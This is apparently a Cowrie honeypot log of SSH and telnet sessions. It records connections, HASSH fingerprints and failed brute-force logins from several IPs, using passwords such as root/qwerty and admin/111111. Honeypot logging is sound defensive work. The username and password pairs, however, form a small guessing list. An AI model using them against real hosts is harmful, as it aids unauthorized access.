{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:25.955781Z","src_ip":"160.187.174.22","session":"81dd50706723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:26.059056Z","src_ip":"91.92.40.153","session":"6284acaa0656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":58610,"dst_ip":"10.17.0.5","dst_port":22,"session":"57097e2282b6","protocol":"ssh","message":"New connection: 91.92.40.153:58610 (10.17.0.5:22) [session: 57097e2282b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:27.668319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:28.389085Z","src_ip":"91.92.40.153","session":"57097e2282b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:28.392462Z","src_ip":"91.92.40.153","session":"57097e2282b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.1524229049682617,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:28.742115Z","src_ip":"170.64.224.25","session":"e2d669092aba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.801743507385254,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:29.149119Z","src_ip":"170.64.224.25","session":"85532998a3df","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student","password":"redhat","message":"login attempt [student/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:30.096134Z","src_ip":"91.92.40.153","session":"57097e2282b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:31.584346Z","src_ip":"91.92.40.153","session":"57097e2282b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":38938,"dst_ip":"10.17.0.5","dst_port":22,"session":"8640cb0bb8a8","protocol":"ssh","message":"New connection: 23.88.42.180:38938 (10.17.0.5:22) [session: 8640cb0bb8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:31.597121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:31.603490Z","src_ip":"23.88.42.180","session":"8640cb0bb8a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:31.707799Z","src_ip":"23.88.42.180","session":"8640cb0bb8a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinidad","password":"PortOfSpain#Crypto@P@ss","message":"login attempt [trinidad/PortOfSpain#Crypto@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:31.999115Z","src_ip":"23.88.42.180","session":"8640cb0bb8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:33.100711Z","src_ip":"23.88.42.180","session":"8640cb0bb8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56366,"dst_ip":"10.17.0.5","dst_port":22,"session":"de721d256fc5","protocol":"ssh","message":"New connection: 91.92.40.153:56366 (10.17.0.5:22) [session: de721d256fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:34.304817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:34.536795Z","src_ip":"91.92.40.153","session":"de721d256fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:34.540070Z","src_ip":"91.92.40.153","session":"de721d256fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:35.531363Z","src_ip":"91.92.40.153","session":"de721d256fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:36.913861Z","src_ip":"91.92.40.153","session":"de721d256fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":43686,"dst_ip":"10.17.0.5","dst_port":22,"session":"df3030471e40","protocol":"ssh","message":"New connection: 143.20.185.207:43686 (10.17.0.5:22) [session: df3030471e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:37.884569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:37.887972Z","src_ip":"143.20.185.207","session":"df3030471e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:38.011824Z","src_ip":"143.20.185.207","session":"df3030471e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#8VCPU16GBAMD","message":"login attempt [root/XYZZ#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:38.408864Z","src_ip":"143.20.185.207","session":"df3030471e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:39.536527Z","src_ip":"143.20.185.207","session":"df3030471e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":56454,"dst_ip":"10.17.0.5","dst_port":22,"session":"099588a6f866","protocol":"ssh","message":"New connection: 91.92.40.153:56454 (10.17.0.5:22) [session: 099588a6f866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:40.076309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:40.341238Z","src_ip":"91.92.40.153","session":"099588a6f866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:40.344269Z","src_ip":"91.92.40.153","session":"099588a6f866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:41.773981Z","src_ip":"91.92.40.153","session":"099588a6f866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:43.320336Z","src_ip":"91.92.40.153","session":"099588a6f866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin12345","message":"login attempt [ubuntu/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:43.529467Z","src_ip":"139.99.74.35","session":"c3be311bbcf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":40130,"dst_ip":"10.17.0.5","dst_port":22,"session":"db1e52782b23","protocol":"ssh","message":"New connection: 91.92.40.153:40130 (10.17.0.5:22) [session: db1e52782b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:45.932307Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":45460,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ccd456086ba","protocol":"ssh","message":"New connection: 198.1.93.192:45460 (159.203.135.109:22) [session: 2ccd456086ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:46.071280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:46.079680Z","src_ip":"198.1.93.192","session":"2ccd456086ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:46.169964Z","src_ip":"198.1.93.192","session":"2ccd456086ba","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:46.354823Z","src_ip":"91.92.40.153","session":"db1e52782b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:46.358731Z","src_ip":"91.92.40.153","session":"db1e52782b23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bluzelle123","password":"bluzelle123","message":"login attempt [bluzelle123/bluzelle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:46.451407Z","src_ip":"198.1.93.192","session":"2ccd456086ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34390,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0ef7be33af4","protocol":"ssh","message":"New connection: 160.187.174.22:34390 (159.203.135.109:22) [session: c0ef7be33af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:47.518075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:47.523808Z","src_ip":"160.187.174.22","session":"c0ef7be33af4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:47.766764Z","src_ip":"160.187.174.22","session":"c0ef7be33af4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:48.495704Z","src_ip":"160.187.174.22","session":"c0ef7be33af4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:49.271713Z","src_ip":"91.92.40.153","session":"db1e52782b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:49.743974Z","src_ip":"160.187.174.22","session":"c0ef7be33af4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"47.3","message":"Connection lost after 47.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:50.855395Z","src_ip":"139.99.74.35","session":"c3be311bbcf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:20:51.007814Z","src_ip":"91.92.40.153","session":"db1e52782b23","protocol":"ssh"}
